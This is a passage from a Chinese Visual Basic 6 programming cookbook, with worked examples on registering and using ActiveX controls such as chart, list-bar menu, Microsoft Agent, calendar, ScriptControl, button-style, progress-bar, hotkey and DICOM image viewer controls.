    AxisChart1.DataSeries(1).SeriesData.Add "Q3", 832        '添加系列2000内的名称为Q3，值为832的数据项
    AxisChart1.DataSeries(1).SeriesData.Add "Q4", 415        '添加系列2000内的名称为Q4，值为415的数据项
    '添加名称为2001的，样式为背景自动填充的数据系列
    AxisChart1.DataSeries.AddBarSeries "2001", scFillModeAutoSolid
    AxisChart1.DataSeries(2).SeriesData.Add "Q1", 213        '添加系列2001内的名称为Q1，值为213的数据项
    AxisChart1.DataSeries(2).SeriesData.Add "Q2", 334        '添加系列2001内的名称为Q2，值为334的数据项
    AxisChart1.DataSeries(2).SeriesData.Add "Q3", 547        '添加系列2001内的名称为Q3，值为547的数据项
    AxisChart1.DataSeries(2).SeriesData.Add "Q4", 422        '添加系列2001内的名称为Q4，值为422的数据项
    '添加名称为2002的，样式为背景自动填充的数据系列
    AxisChart1.DataSeries.AddBarSeries "2002", scFillModeAutoSolid
    AxisChart1.DataSeries(3).SeriesData.Add "Q1", 687        '添加系列2002内的名称为Q1，值为687的数据项
    AxisChart1.DataSeries(3).SeriesData.Add "Q2", 515        '添加系列2002内的名称为Q2，值为515的数据项
    AxisChart1.DataSeries(3).SeriesData.Add "Q3", 487        '添加系列2002内的名称为Q3，值为487的数据项
    AxisChart1.DataSeries(3).SeriesData.Add "Q4", 366        '添加系列2002内的名称为Q4，值为366的数据项
    '添加名称为2003的，样式为背景自动填充的数据系列
    AxisChart1.DataSeries.AddBarSeries "2003", scFillModeAutoSolid
    AxisChart1.DataSeries(4).SeriesData.Add "Q1", 316
    AxisChart1.DataSeries(4).SeriesData.Add "Q2", 455
    AxisChart1.DataSeries(4).SeriesData.Add "Q3", 687
    AxisChart1.DataSeries(4).SeriesData.Add "Q4", 723
End Sub




2．创建柱形图

（1）新建标准EXE工程。

（2）在开发环境的“部件”窗口中添加SimpleChart Toolkit x.x（x.x代表版本号）。

（3）向窗体上添加一个PieChart控件，命名为PieChart1。

（4）代码设计。

创建自定义过程InitialiseArrays用于初始化数组元素值，代码如下：



Sub InitialiseArrays()
    categoryNames(0) = "Display"
    categoryNames(1) = "Mainboard"
    categoryNames(2) = "Fixed Disk"
    categoryNames(3) = "DVD-ROM"
    yearlySales(0) = 103924.29
    yearlySales(1) = 55368.56
    yearlySales(2) = 82657.7
    yearlySales(3) = 115387.62
End Sub





说明：
 上面代码中的数组categoryNames用于指定图例名称，数组yearlySales用于指定数据项数值。

创建自定义过程ShowAnnualSales向饼形图添加数据项，代码如下：



Private Sub ShowAnnualSales()
    Dim i As Integer
    pie.Caption = "年销售额饼形图"
    i = 0
    While i < UBound(categoryNames) And i < UBound(yearlySales)                    '在循环内部添加数据项
        pie.ChartData.Add categoryNames(i), yearlySales(i), scFillModeAutoSolid
        i = i + 1
    Wend
    pie.ChartData(2).Exploded = True                                        '扇区爆裂
    pie.BackColor = RGB(255, 239, 213)                                    '设置背景颜色
End Sub




在窗体加载事件中调用自定义过程InitialiseArrays、ShowAnnualSales，实现饼形图的显示，代码如下：



Private Sub Form_Load()
    InitialiseArrays
    ShowAnnualSales
End Sub




秘笈心法

心法领悟425：创建颜色渐变图表。

在使用Add方法添加数据项时，只要将表示样式的参数设置为常数即可。



 实例426　使用CtListBar控件制作QQ菜单

光盘位置：光盘\MR\13\426

初级

趣味指数：[image: ]




实例说明

QQ菜单是比较常见的，如果单纯利用VB中的控件设计QQ菜单是比较麻烦的，但是如果利用CtListBar这个第三方控件设计实现的话就非常简单方便。

运行程序，在CtListBar控件中单击鼠标右键，在弹出的快捷菜单中选择相应的项目即可执行相应的操作，如图13.13所示。

[image: ]
图13.13　使用CtListBar控件制作QQ菜单



关键技术

CtListBar控件包含了许多很有用的方法和属性。开始实例学习前，有必要先对其主要的几个方法和属性了解一下。表13.8和表13.9分别列出了几个主要的方法和属性，以及它们的类型和说明。初步了解之后，下面就开始进行实例讲解。

表13.8　CtListBar控件的方法说明



	方法
	返回类型
	说明



	AddList
	Integer
	添加一个新的分组



	DeleteList
	Boolean
	从控件中删除一个已有分组



	AddListItem
	Integer
	在一个分组中新添加一个项目



	DeleteItem
	Boolean
	在一个分组中删除一个项目



	InsertListItem
	Integer
	在某一分组中的某一位置插入一个新的项目



	ClearLists
	
	清除控件中的所有分组和项目




例如，使用AddList方法分组，代码如下：



ctListBar1.AddList "陌生人"




例如，使用AddListItem方法在下标为1的分组中添加项目，代码如下：



ctListBar1.AddListItem 1, "Lemon", ctListBar1.Image1




另外，控件的外观对于应用来说也是非常重要的，因此有必要对CtListBar控件属性进行介绍。该控件的属性都是用来设置控件的外观的，具体的属性说明如表13.9所示。

表13.9　CtListBar控件的属性说明



	属性
	数据类型
	说明



	BackImage
	Picture
	设置控件背景图片。利用这个属性，可以实现“皮肤”的功能



	BarHeight
	Integer
	设置分组按钮的高度



	BorderType
	Integer
	设置控件的边框样式



	BorderColor
	Long
	设置控件的边框颜色，仅当BorderType设置为0-Regular时有效



	ButtonBackColor
	Long
	设置分组按钮和上下滚动按钮的颜色



	ButtonForeColor
	Long
	设置分组按钮和上下滚动按钮的字体颜色



	ButtonSize
	Integer
	设置上下滚动按钮大小



	GradientFill
	Boolean
	设置控件背景是否显示渐变色



	GradColorFrom
	Long
	设置渐变色的起始颜色



	GradColorTo
	Long
	设置渐变色的结束颜色



	IconSize
	Integer
	设置图标显示模式是大图标或小图标



	Image1-6
	Picture
	设置预先在控件中加载的6幅图片



	ListBarStyle
	Integer
	设置控件纵向或是横向显示



	ListBackColor
	Long
	设置控件的背景颜色



	ListForeColor
	Long
	设置分组中项目文字的颜色



	ListScrollSpeed
	Integer
	设置项目滚动的速度



	ItemScrollSpeed
	Integer
	设置分组滑动的速度




设计过程

（1）首先注册ctlbar32.ocx控件，将其复制到\WINDOWS\system32或\WINDOWS\system下，然后在运行中输入“regsvr32 ctlbar32.ocx”注册控件。

（2）新建标准EXE工程。

（3）在开发环境的“部件”窗口中添加ctListBar List Bar Control控件。

（4）向窗体上添加一个CtListBar控件，用鼠标调整其大小。设置CtListBar控件的背景图片。

（5）修改Caption属性为“我的好友”。Caption属性值将是菜单第一个分组的名称。

（6）在Images属性中载入图片。CtListBar控件本身可以载入6幅图片。

（7）在Form_Load()事件中加入如下代码，用于添加结果分组和项目，代码如下：



Dim strListName, strItemName As String
Dim intListNum, intItemNum As Integer
Private Sub Form_Load()
    ctListBar1.AddList "陌生人"                                            '添加分组
    ctListBar1.AddList "黑名单"                                            '添加分组
    ctListBar1.AddListItem 1, "Lemon", ctListBar1.Image1                            '添加分组中的项目
    ctListBar1.AddListItem 1, "小楼一夜听雨", ctListBar1.Image2                        '添加分组中的项目
    ctListBar1.AddListItem 1, "明日科技", ctListBar1.Image3                        '添加分组中的项目
    ctListBar1.AddListItem 1, "天思", ctListBar1.Image4                            '添加分组中的项目
    ctListBar1.AddListItem 1, "开水烫过的猫", ctListBar1.Image5                        '添加分组中的项目
    ctListBar1.AddListItem 1, "蘑菇鱼", ctListBar1.Image6                            '添加分组中的项目
End Sub





注意：
 不是所有的企业网站都可以运用分栏式结构设计，它并不是“教条式”的。应该根据网站的信息内容、相关网站资料等采用不同的结构设计。

窗体加载时向CtListBar控件中添加了“陌生人”和“黑名单”两个分组，又在原先设置过的“我的好友”分组中添加了6个项目。


说明：
 CtListBar1.AddListItem方法使用了3个参数，分别为nIndex（分组的Index值）、strText（项目的名称）、Picture（项目的图片）。

在菜单的Click事件中输入如下代码：



Private Sub AddItem_Click()  '添加项目
    strItemName = "": intListNum = 0
    intListNum = Val(InputBox("请输入要添加的项目所在分组的标识号", "信息提示"))
    If intListNum <> 0 Then strItemName = InputBox("请输入要添加的项目的名称", "信息提示")
    If strItemName <> "" Then ctListBar1.AddListItem intListNum, strItemName, ctListBar1.Image1
End Sub
Private Sub AddList_Click()                                                '添加分组
    strListName = ""
    strListName = InputBox("请输入要添加的分组名称", "信息提示")
    If strListName <> "" Then ctListBar1.AddList strListName: ctListBar1.ReDraw
End Sub
Private Sub ctListBar1_ItemClick(ByVal nList As Integer, ByVal nItem As Integer)
    MsgBox "你点击的项目名称是：" & ctListBar1.ItemText(nList, nItem), vbInformation, "信息提示"
End Sub
Private Sub ctListBar1_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
    If Button = 2 Then
        ctListBar1.Enabled = False: ctListBar1.Enabled = True: ctListBar1.SetFocus
        PopupMenu MyMenu    '调用用户自定义菜单
    End If
End Sub
Private Sub DelItem_Click()                                                '删除项目
    intListNum = 0: intItemNum = 0
    intListNum = Val(InputBox("请输入要删除的项目所在分组的标识号", "信息提示"))
    If intListNum <> 0 Then intItemNum = Val(InputBox("请输入要删除的项目的标识号", "信息提示"))
    If intItemNum <> 0 Then ctListBar1.DeleteItem intListNum, intItemNum
End Sub
Private Sub DelList_Click()                                                    '删除分组
    intListNum = 0: intListNum = Val(InputBox("请输入要删除的分组标识号", "信息提示"))
    If intListNum <> 0 Then ctListBar1.DeleteList intListNum
End Sub
Private Sub Insert_Click()                                                    '插入项目
    intListNum = 0: intItemNum = 0: strItemName = ""
    intListNum = Val(InputBox("请输入要插入的项目所在分组的标识号", "信息提示"))
    If intListNum <> 0 Then intItemNum = Val(InputBox("请输入要插入的项目所在位置的标识号", "信息提示"))
    If intItemNum <> 0 Then strItemName = InputBox("请输入要插入的项目的名称", "信息提示")
    If strItemName <> "" Then ctListBar1.InsertListItem intListNum, intItemNum, strItemName, ctListBar1.Image1
End Sub





说明：
 用AddListItem添加的项目只能添加在该分组末尾，而InsertListItem方法可以在一个分组中的指定位置插入一个新的项目。

秘笈心法

心法领悟426：设置CtListBar控件的渐变颜色。

通过设置CtListBar控件的GradColorFrom属性、GradColorTo属性可以指定渐变的初始颜色、结束颜色。



 实例427　使用Microsoft Agent控件制作程序助手

光盘位置：光盘\MR\13\427

初级

趣味指数：[image: ]




实例说明

[image: ]
图13.14　使用Microsoft Agent控件制作程序助手



Microsoft Agent是一种基于微软视窗平台可编程的及时交互角色。开发人员能够用该角色作为助手、向导，使其成为与应用程序进行交互的一种手段。大家在上网时可能会看到“梅林”作为网页中的助手，接下来将介绍在使用VB创建的应用程序中调用“梅林”的方法。运行本实例程序，显示效果如图13.14所示。

关键技术

（1）初始化动画人物、卸载动画人物

初始化动画人物、卸载动画人物分别由Characters属性的Load、Unload方法实现。

使用Load方法初始化动画人物的代码如下：



MyAgent.Characters.Load "merlin", "C:\WINDOWS\msagent\chars\merlin.acs"




使用角色的名称来加载动画数据。例如，加载“梅林”的代码如下：



Set merlin = MyAgent.Characters("merlin")




卸载动画人物。例如，卸载“梅林”这个角色的代码如下：



MyAgent.Characters.Unload("merlin")




（2）显示、隐藏动画人物

显示、隐藏动画人物分别由IAgentCtlCharacter对象的Show、Hide方法实现。这两个方法都具有形式参数Fast。这个参数表示动画人物显示、隐藏的速度。当Fast为0表示动画人物飞入、飞出，Fast为1表示动画人物直接出现、消失。

例如，将“梅林”飞入的代码如下：



merlin.Show(0)




例如，将“梅林”直接隐藏的代码如下：



merlin.Hide(1)




设计过程

（1）新建标准EXE工程。

（2）在开发环境的“部件”窗口中添加Microsoft Agent Control X.X控件（X.X代表版本号）。

（3）向窗体上添加一个Microsoft Agent控件，命名为MyAgent。

（4）在窗体的加载事件的过程实现了动画角色“梅林”的显示，代码如下：



Private Sub Form_Load()
    MyAgent.Characters.Load "merlin", "C:\WINDOWS\msagent\chars\merlin.acs"                    '初始化角色
    Set merlin = MyAgent.Characters("merlin")                                            '使用“梅林”
    merlin.Show                                                            '显示角色
    merlin.Speak "大家好，我是梅林。"                                            '说话
    '略
End Sub




秘笈心法

心法领悟427：指定角色显示方式。

角色的显示方式由IAgentCtlCharacter对象的Show方法的参数指定。



 实例428　使用Microsoft Calendar控件制作日历

光盘位置：光盘\MR\13\428

初级

趣味指数：[image: ]




实例说明

Microsoft Calendar是Microsoft Office提供的日历控件。在应用程序中使用该控件可以用来指定日期以及获取相关的一些信息，例如，星期等。运行本实例的程序，效果如图13.15所示。

[image: ]
图13.15　使用Microsoft Calendar控件制作日历



关键技术

Microsoft Calendar具有4个重要的属性和9个重要的方法。4个重要属性分别是Value、Year、Month、Day。它们的详细描述如表13.10所示。9个重要方法分别是Today、NextDay、NextMonth、NextWeek、NextYear、PreviousDay、PreviousMonth、PreviousWeek、PreviousYear，它们的详细描述如表13.11所示。

表13.10　Microsoft Calendar重要属性说明



	属性
	说明
	属性
	说明



	Value
	日期
	Month
	月份



	Year
	年份
	Day
	日




表13.11　Microsoft Calendar重要方法说明



	方法
	说明
	方法
	说明



	Today
	当前日期
	PreviousDay
	前一日



	NextDay
	下一日
	PreviousMonth
	前一月



	NextMonth
	下一月
	PreviousWeek
	前一星期



	NextWeek
	下一星期
	PreviousYear
	前一年



	NextYear
	下一年
	
	




设计过程

（1）新建标准EXE工程。

（2）在开发环境的“部件”窗口中添加Microsoft Calendar Control X.X控件（X.X代表版本号）。

（3）向窗体上添加一个Microsoft Calendar，命名为Calendar1。

（4）设置日历中的选中日期，代码如下：



Private Sub Form_Load()
    Calendar1.Value = Date                                                '显示当前日期
End Sub




秘笈心法

心法领悟428：选中系统当前日期。

选中日历中当前的系统日期可以通过使用Microsoft Calendar的Today方法实现。



 实例429　使用ScriptControl控件对字符串进行运算

光盘位置：光盘\MR\13\429

初级

趣味指数：[image: ]




实例说明

ScriptControl控件全称为Microsoft(R) Script Control，是向开发人员提供简单方法以使应用程序脚本化的ActiveX(R)控件，通过对它的使用可以将字符串作为VB语言指令。在这里，使用该控件实现根据菜单的标题调用相应的菜单事件。

关键技术

通过ScriptControl控件的几个方法进行调用，可以实现从字符串转换为VB指令的功能，这些方法如表13.12所示。

表13.12　ScriptControl控件方法说明



	方法名称
	参数
	功能描述



	AddCode
	Code As String
	往脚本引擎中加入要执行的脚本



	AddObject
	Name As String, Object As Object, [AddMembers As Boolean = False]
	往脚本引擎中加入一个对象，以便在脚本中可以使用该对象提供的方法等



	Eval
	Expression As String
	表达式求值



	ExecuteStatement
	Statement As String
	解释并执行脚本语句



	Reset
	
	丢弃所有的对象和代码，将State属性置0



	Run
	ProcedureName As String, ParamArray Parameters() As Variant
	运行一个指定的过程




例如，下面的代码通过对ScriptControl控件的使用，来实现对字符串进行加、减、乘、除计算的功能，代码如下：



Private Sub Command1_Click()
    Dim str As String
    str = Text2
    ScriptControl1.Reset                                        '丢弃所有的对象和代码
    ScriptControl1.AddObject "Text1", Text1, True                        '往脚本引擎加入一个文本框对象
    '在另一文本框中显示第一个文本框中算术表达式的结果
    ScriptControl1.AddCode "Text1.Text=" & str
End Sub




设计过程

（1）新建标准EXE工程。

（2）在开发环境的“部件”窗口中添加Microsoft Script Control 1.0 X.X控件（X.X代表版本号）。

（3）向窗体上添加一个ScriptControl，命名为ScriptControl1。

（4）添加一菜单项，名称为File，标题为“文件”；添加上述菜单项的子菜单，名称为M_Test，标题为 “退出”。

（5）自定义过程LoadMenu用于调用与指定标题相匹配的菜单事件。在该过程中声明了字符串类型的形式参数searchname用于传递调用的菜单标题，代码如下：



Private Sub LoadMenu(ByVal searchname As String)
    Dim mymenu As Menu                                        '声明菜单类型变量
    For Each mymenu In menuclt                                        ' menuclt是一个Collection对象，用于保存菜单对象
        ScriptControl1.Reset                                        '丢弃所有的对象和代码
        ScriptControl1.AddObject "Frm_main", Frm_main                        '往脚本引擎加入窗体对象
        ScriptControl1.AddCode "Frm_main." & _
                               menuclt("a" & searchname).Name & _
                               "_Click(" & menuclt("a" & searchname).Index & ")"    '调用菜单事件
    Next mymenu
 
    Set mymenu = Nothing                                        '释放菜单对象
End Sub




根据菜单项名称，调用相应的菜单事件过程。例如，调用名称为M_Test菜单项所对应的事件，关键代码如下：



LoadMenu "M_Test"




秘笈心法

心法领悟429：丢弃所有对象和代码。

为了防止程序出错，应在使用AddObject方法或AddCode方法前丢弃所有的对象和代码。



 实例430　使用BSE控件创建不同风格的按钮

光盘位置：光盘\MR\13\430

初级

趣味指数：[image: ]




实例说明

在程序中要想设计出吸引人们眼球的按钮，如果单纯使用代码编写则需要编写大量的代码。下面介绍一个第三方控件——BSE控件。它可以实现类似Windows XP、Java、Flat风格的按钮。只要在程序中加上BSE控件，就可以轻松实现多达16种风格的按钮。运行程序点击不同的OptionButton，看16种不同的按钮风格，如图13.16所示。

[image: ]
图13.16　BSE控件演示效果



关键技术

BSE控件一个可以实现15种不同的风格，通过设置控件的SchemeStyle属性，我们可以很容易地控制窗口界面中CommandButton的风格。SchemeStyle的属性设置与其实现风格的对应关系如表13.13所示。

表13.13　SchemeStyle属性及说明



	属性
	效果风格及说明



	0
	Windows XP Blue Scheme Button Style



	1
	Windows XP Olive Green Scheme Button Style



	2
	Windows XP Silver Scheme Button Style



	3
	Windows Flat Scheme Button Style



	4
	Windows Hover Scheme Button Style



	5
	Netscape Scheme Button Style



	6
	Java Scheme Button Style



	7
	Windows OLD 3.x Scheme Button Style



	8
	Office XP Blue Scheme Button Style



	9
	Office XP OliveGreen Scheme Button Style



	10
	Office XP Silver Scheme Button Style



	11
	Office XP SystemColor Scheme Button Style



	12
	Windows XP InternetExplorer Scheme Button Style



	13
	Gradient Scheme Button Style



	14
	Alien Scheme Button Style



	15
	Bitmap Pattern Scheme Button Style





说明：
 对SchemeStyle的属性进行设置后需要首先执行EndSubClassing方法卸载BSE控件，然后执行InitSubClassing进行初始化。

设计过程

（1）首先注册BSE.ocx控件。将其复制到\WINDOWS\system32或\WINDOWS\system下，然后在运行中输入“regsvr32 BSE.ocx”注册控件。

（2）新建标准EXE工程。

（3）在开发环境的“部件”窗口中添加BSE Engin控件。

（4）向窗体中添加两个Frame控件，两个CommandButton控件，16个OptionButton控件并将其设置为控件数组。

（5）编写Form1的Load事件，使程序启动时CommandButton显示为Windows XP Blue风格，代码如下：



Private Sub Form_Load()
    BSE1.SchemeStyle = 0: BSE1.EndSubClassing: BSE1.InitSubClassing
End Sub




添加OptionButton控件数组的事件，使可以根据选择OptionButton来转换CommandButton的不同风格。



Private Sub Option1_Click(Index As Integer)
    BSE1.SchemeStyle = Index: BSE1.EndSubClassing: BSE1.InitSubClassing
End Sub




秘笈心法

心法领悟430：使用控件数组下标设置按钮样式。

在本实例中通过使用OptionButton控件数组来指定按钮的样式。在控件数组的Click事件中，通过使用形式参数Index指定按钮的样式。



 实例431　使用VsMenu控件创建漂亮菜单

光盘位置：光盘\MR\13\431

初级

趣味指数：[image: ]




实例说明

如果想在VB的开发环境中使用像XP中的漂亮菜单，则需要相当多的代码。下面介绍一个第三方控件VsMenu，它适合所有的Windows操作系统，并且支持MDI窗口和系统菜单。下面利用VsMenu控件设计XP风格的菜单，并向菜单中添加图片。

运行本实例程序，在文档1的窗体上单击鼠标右键，弹出快捷菜单，如图13.17所示。

[image: ]
图13.17　使用VsMenu控件创建漂亮菜单



关键技术

VsMenu控件为实现Windows XP和Windows 2003效果提供了少许的方法和属性，作为一款相当傻瓜的控件，对控件的设置都可以通过鼠标来完成。该控件的使用方法虽然简单，但仍有必要对其常用的方法和事件进行介绍。

接下来以表格的方式对VsMenu控件的方法进行介绍，该控件的常用方法如表13.14所示。

表13.14　VsMenu控件常用方法及说明



	方法
	说明



	Init
	初始化窗口



	SetBitmapByCaption
	设置菜单项图标



	SetCustomAttributes
	一次性设置菜单的有关各项属性




菜单的使用离不开对实际的响应，在这里对VsMenu控件的重要事件进行介绍，该控件的重要事件如表13.15所示。

表13.15　VsMenu控件重要事件及说明



	事件
	说明



	Highlight
	移入菜单事件，与按钮的移入、移出事件类似



	CustomDrawItemFont
	菜单项自绘字体设置



	CustomDrawItemHoverFont
	当鼠标移入或用键盘选中某菜单项时该菜单项的自绘字体设置




设计过程

（1）首先注册VsMenu.ocx控件，将其复制到\WINDOWS\system32或\WINDOWS\system下，然后在运行中输入“regsvr32 VsMenu.ocx”注册控件。

（2）新建标准EXE工程。

（3）在开发环境的“部件”窗口中添加VsMenu控件。

（4）向窗体上添加一个菜单设计器，并设计其菜单形式如图13.18所示。

[image: ]
图13.18　本实例的菜单设计



（5）向窗体上添加VsMenu控件。该控件的设计十分简单，它提供了一个属性页帮助开发者进行控件的设定。使用鼠标右键单击VsMenu控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框，如图13.19所示。

[image: ]
图13.19　VsMenu控件的属性页设置



在该属性页内可以设置菜单项图标、样式以及菜单大小等属性。在“自定义菜单颜色”选项卡内提供了一套菜单的配色方案，可以通过设定“绘制样式”中的属性改变菜单样式，也可以根据需要自己编写配色方案。


注意：
 在字体页内可以设置菜单中的字体大小，这个功能需取消选中“使用系统字体”复选框。

（6）另建一个窗体，命名为frmDoc。在该窗体上添加一个Image控件和一个Label控件，如图13.17所示。用于在单击鼠标右键时弹出快捷菜单。


注意：
 要在Image控件和Label控件都设置为单击鼠标右键弹出快捷菜单的形式。

（7）MDIfrmMain窗体内的代码如下：



Dim nfCount As Long
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Button = vbRightButton Then PopupMenu mnuEdit                        '单击鼠标右键，弹出菜单
End Sub
Private Sub lblTip_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Call Form_MouseDown(Button, Shift, X, Y)
End Sub
Private Sub ctxVsMenu_Highlight(strMenuCaption As String)
    If strMenuCaption = "新建(&N)" Then Debug.Print "1"
End Sub
Private Sub MDIForm_Load()
    ctxVsMenu.DrawStyle = 2: nfCount = 1: mnuNew_Click
End Sub
Private Sub mnuNew_Click()                                                '新建
    Dim fDoc As New frmDoc
    fDoc.Caption = "文档 " & nfCount: fDoc.Show: nfCount = nfCount + 1
End Sub




frmDoc窗体中的代码如下：



Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    If Button = vbRightButton Then PopupMenu MDIfrmMain.mnuEdit
End Sub
Private Sub Image1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Call Form_MouseDown(Button, Shift, X, Y)
End Sub
Private Sub Label1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Call Form_MouseDown(Button, Shift, X, Y)
End Sub




秘笈心法

心法领悟431：设置菜单配色方案。

设置配色方案通过设置VsMenu控件的DrawStyle属性来实现。



 实例432　使用ccrpProgressBar控件创建不同风格进度条

光盘位置：光盘\MR\13\432

初级

趣味指数：[image: ]




实例说明

在制作应用程序时，有时需要备份数据库或者在安装软件时，用进度条反映安装或备份的进度，VB自带的ProgressBar控件形态比较单一、功能简单，不能体现程序的个性。下面介绍一个第三方控件——ccrpProgressBar控件，它也是一个进度条的控件，但是可以有多种形态供选择，功能强大，只需简单地设置就能实现各种不同的形态。

运行本实例程序，效果如图13.20所示。

[image: ]
图13.20　使用ccrpProgressBar控件创建不同风格进度条



关键技术

ccrpProgressBar控件的属性关系到该控件的显示风格以及进度条功能的实现，因此有必要对该控件的属性进行介绍。ccrpProgressBar控件的属性说明如表13.16所示。

表13.16　ccrpProgressBar控件的属性说明



	属性
	说明



	Max
	最大值。默认100



	Min
	最小值。默认0



	Value
	进度条的当前值



	Alignment
	显示表示进度的文字的位置。分别为vbCenter（中间）、vbLeftJustify（左边）、vbRightJustify（右边）



	Appearance
	进度条的3种外观。分别为prgFlat（平面）、prg3D（立体）、prg3Draised（立体凸起）



	BackColor
	进度条的背景色



	FillColor
	进度条的颜色



	ForeColor
	表示进度条文字的字体颜色



	Picture
	进度条可用图片表示进度，从这里选择需要的图片



	Shape
	进度条的形状。有prgRectangle（默认）、prgEllipse和prgRoundedRect 3种



	Smooth
	是否平滑显示进度。True为平滑显示进度



	Vertical
	是否垂直显示进度条。True为垂直显示



	Style
	进度条的风格。当选择ChkGraphical时为用图片表示进度



	AutoCaption
	表示进度的“文字提示”所采用的表现形式。ccrpPercentage为百分比的形式，ccrpValueOfMax为类似1of 100的表现形式。Value为数字的表现形式




表13.16中的Max属性、Min属性以及Value属性对于进度条控件来说是最常用的。

例如，将进度条的最大值设置为100，代码如下：



ccrpProgressBar1.Max = 100




例如，将进度条的最小值设置为1，代码如下：



ccrpProgressBar1.Min = 1




例如，将进度条的当前值设置为50，代码如下：



ccrpProgressBar1.Value = 50




设计过程

（1）首先注册ccrpProgressBar.ocx控件，将其复制到\WINDOWS\system32或\WINDOWS\system下，然后在运行中输入“regsvr32 ccrpProgressBar.ocx”注册控件。

（2）新建标准EXE工程。

（3）新建一个窗口，向窗口中添加一个Frame控件。

（4）在开发环境的“部件”窗口中添加ccrpProgressBar控件。

（5）向窗体中添加9个ccrpProgressBar控件，一个Timer控件，然后再分别调整好9个ccrpProgressBar控件的FillColor和ForeColor属性，搭配好颜色，使界面更协调。

（6）程序代码如下：



Dim i As Integer
Private Sub Form_Load()
    Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
    If i = 101 Then Exit Sub
    ccrpProgressBar1.Value = i: ccrpProgressBar2.Value = I: ccrpProgressBar3.Value = i                    '设置进度条进度
    ccrpProgressBar4.Value = i:ccrpProgressBar5.Value = i: ccrpProgressBar6.Value = i
    ccrpProgressBar7.Value = i: ccrpProgressBar8.Value = i:ccrpProgressBar9.Value = i
    i = i + 1 '变量i自增End Sub
End Sub




秘笈心法

心法领悟432：垂直显示进度条。

将ccrpProgressBar控件的Vertical属性设置True，可以垂直显示进度条。



 实例433　使用ccrpHotKey控件创建热键

光盘位置：光盘\MR\13\433

初级

趣味指数：[image: ]




实例说明

在程序中使用热键可以大大加快使用者的操作速度，对于开发者来说，在自己的程序中使用热键同样会使操作更简便，使得程序更加人性化。下面介绍一个可以轻松实现热键功能的第三方控件ccrpHotKey。

运行本实例程序，单击ccrpHotKey控件，按下任意热键组合并保存，如图13.21所示。

[image: ]
图13.21　ccrpHotKey控件实例演示效果



关键技术

实现热键的功能主要是通过对ccrpHotKey控件的KeyCode属性值以及Shift值进行判断实现的。例如，在窗体的KeyDown事件中，将该事件的形式参数KeyCode的值与ccrpHotKey控件的KeyCode属性值进行比较。与此同时，还要对形式参数Shift的值与ccrpHotKey控件的Shift属性值进行比较。当KeyDown事件的形式参数值与对应的ccrpHotKey控件属性值相匹配时，就可以判定用户按下了设置好的热键。

设计过程

（1）首先注册ccrphky.ocx控件，将其复制到\WINDOWS\system32或\WINDOWS\system下，然后在运行中输入“regsvr32 ccrphky.ocx”注册控件。

（2）新建标准EXE工程。

（3）新建一个窗口，向窗口中添加一个Frame控件。

（4）在开发环境的“部件”窗口中添加ccrpHotKey控件。

（5）向窗体上添加两个ccrpHotKey控件、两个CommandButton控件、一个TextBox控件。

（6）设置ccrpHotKey控件属性。选中ccrpHotKey控件后，在属性窗口可以对其进行设置，其中的按键组合设置最为重要（如图13.22所示），根据需要设置允许或者禁止某些组合，如要禁止Ctrl+Alt键的组合，就将AllowCtrlAlt属性改为False即可，依此类推。当然，也可以在程序运行中动态地改变这些属性。

[image: ]
图13.22　ccrpHotKey控件属性窗口



程序代码如下：



Private m_KeyCode As Integer
Private m_Shift As Integer
Private n_KeyCode As Integer
Private n_Shift As Integer
Private Sub Command1_Click()                                            '保存打开信息框的热键
    n_KeyCode = ccrpHotKey1.KeyCode
    n_Shift = ccrpHotKey1.Shift
End Sub
Private Sub Command2_Click()                                            '保存关闭信息框的热键
    m_KeyCode = ccrpHotKey2.KeyCode
    m_Shift = ccrpHotKey2.Shift
End Sub
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
    If KeyCode = n_KeyCode And Shift = n_Shift Then
        frmMain.Height = 5610
        Text1.SetFocus
    End If
    If KeyCode = m_KeyCode And Shift = m_Shift Then: frmMain.Height = 2310
End Sub




秘笈心法

心法领悟433：形式参数Shift。

Shift参数是一个位域，它用最少的位响应Shift键（位0）、Ctrl键（位1）和Alt键（位2）。这些位分别对应于值1、2和4。可通过对一些、所有或无位的设置来指明有一些、所有或0个键被按下。例如，如果Ctrl和Alt这两个键都被按下，则Shift的值为6。

将ccrpProgressBar控件的Vertical属性设置True，可以垂直显示进度条。



 实例434　使用ezDICOMX控件浏览医疗图像

光盘位置：光盘\MR\13\434

初级

趣味指数：[image: ]




实例说明

使用ezDICOMX控件可以对多种格式的图像进行浏览。例如，常见的PNG格式图像、JPEG格式图像、BMP格式图像等，其中还包括一个比较特别的图像格式——DICOM图像格式，DICOM图像格式多用于医疗界。本实例通过使用该控件，实现DICOM格式图像的浏览并进行格式的转换。运行本实例程序，程序显示效果如图13.23所示。单击“转换为JPEG格式”按钮，在保存对话框中指定文件路径后，可以将显示的图像转换为JPEG格式。

[image: ]
图13.23　使用ezDICOMX控件浏览医疗图像



关键技术

使用ezDICOMX控件显示DICOM图像需要指定该图像文件的路径，这个路径通过设置该控件的DCMfilename属性实现。

指定文件路径后就可以实现DICOM图像的浏览了，但是在默认的情况下会在图像中显示图像文件的相关信息。在图像中显示的信息在某些情况下会影响图像的浏览，这时就需要对DCMoverlayOn属性进行设置，将该属性设置为False即可。

将DICOM图像转换为JPEG格式的图像文件，只要使用ezDICOMX控件的DCMsaveToFile方法，并指定JPEG文件路径即可。

设计过程

（1）首先注册ezDICOMax.ocx控件，将其复制到\WINDOWS\system32或\WINDOWS\system下，然后在运行中输入“regsvr32 ezDICOMax.ocx”注册控件。

（2）新建标准EXE工程。

（3）在开发环境的“部件”窗口中添加ezDICOMax Library以及Microsoft Common Dialog Control 6.0 （SP6）控件。

（4）向窗体上添加一个ezDICOMX控件、一个CommonDialog控件、两个CommandButton控件。一个CommandButton控件命名为Cmd_Trans，另一个命名为Cmd_Close。Cmd_Trans的Caption属性设置为“转换为JPEG格式”，Cmd_Trans的Caption属性设置为“关闭”。

（5）在窗体的加载事件中对DICOM图像文件的路径进行指定，并对其他的控件属性进行设置，代码如下：



Private Sub Form_Load()
    ezDICOMX1.DCMoverlayOn = False                                        '不显示相关信息
